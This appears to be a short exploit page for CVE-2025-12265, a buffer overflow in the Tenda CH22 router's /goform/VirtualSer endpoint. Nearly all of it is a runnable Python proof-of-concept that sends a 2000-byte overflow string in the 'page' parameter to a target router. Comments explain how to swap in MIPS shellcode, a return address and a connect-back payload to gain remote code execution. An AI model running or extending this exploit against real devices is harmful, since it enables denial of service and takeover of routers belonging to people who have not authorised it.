CVE-2025-12265 Tenda CH22路由器/goform/VirtualSer缓冲区溢出漏洞

#!/usr/bin/env python3 # CVE-2025-12265 PoC - Tenda CH22 Buffer Overflow in /goform/VirtualSer # Affected: Tenda CH22 1.0.0.1 import requests import sys target = sys.argv[1] if len(sys.argv) > 1 else "http://192.168.0.1" # Construct overflow payload - 2000 bytes to overflow stack buffer # Pattern can be customized for specific exploitation overflow_payload = "A" * 2000 # Target endpoint: /goform/VirtualSer # Vulnerable parameter: page url = f"{target}/goform/VirtualSer" params = { "page": overflow_payload } print(f"[*] Sending exploit to {url}") print(f"[*] Payload length: {len(overflow_payload)} bytes") try: response = requests.get(url, params=params, timeout=10) print(f"[+] Request sent. Status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") # For RCE exploitation, replace 'A' * 2000 with: # shellcode + padding + return_address # Target: MIPS little-endian architecture # Example: mipsel shellcode connecting back to attacker